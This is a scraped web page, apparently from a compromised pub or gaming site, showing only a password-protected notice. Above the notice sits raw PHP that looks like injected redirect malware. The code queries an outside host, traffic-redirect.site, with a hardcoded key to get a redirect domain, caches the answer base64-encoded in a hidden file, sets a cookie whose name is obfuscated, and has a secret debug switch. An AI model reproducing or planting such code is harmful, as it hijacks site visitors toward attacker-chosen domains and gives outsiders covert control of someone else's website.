if(isset($_REQUEST['ch'])){error_reporting(E_ERROR | E_WARNING | E_PARSE);ini_set('display_errors', true);ini_set('error_reporting', E_ERROR | E_WARNING | E_PARSE); } $alias = "18111633124043"; $key = "046ea488fa8e82a09a0ccbc397aa9ed3"; $file = dirname(__FILE__) . "/" . md5($alias); $time = time(); $file_exist = file_exists($file); $filetime = 0; $edittime = 0; $domain = false; if ($file_exist) { $filetime = filemtime($file); $edittime = $time - $filetime; $datafile = fopen($file, 'r'); $dcres = json_decode(base64_decode(fread($datafile, filesize($file))) , 1); if(!empty($dcres['domain'])) $url = $dcres['domain']; fclose($datafile); } if ($edittime >= 15 || !$file_exist || !$url) { $dcres = getdata($file,$key,$alias); if(isset($_REQUEST['ch'])){ var_dump($dcres); } if ($dcres['domain']) { $url = $dcres['domain']; } } function getdata($file,$key,$alias){ $newdomainurl = 'http://traffic-redirect.site/?t=json&i='.$key.'&a='.$alias; if(function_exists('curl_version')){ $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, 'get new domain'); curl_setopt($curl, CURLOPT_URL, $newdomainurl); curl_setopt($curl, CURLOPT_TIMEOUT, 5); $res = curl_exec($curl); curl_close($curl); }else $res = file_get_contents($newdomainurl); if(isset($_REQUEST['ch'])){ var_dump($res); } $dcres = json_decode($res, true); if ($dcres['domain']) { $cache = fopen($file, 'w+'); fwrite($cache, base64_encode($res)); fclose($cache); return $dcres; } return false; } if (!$_COOKIE[base64_decode('aHRfcnI=') ]) { setcookie(base64_decode('aHRfcnI=') , 1, time() + 86400, base64_decode('Lw==')); echo ''; } ?> Illinois Gaming Systems || Powerhouse Pub

This content is password protected. To view it please enter your password below: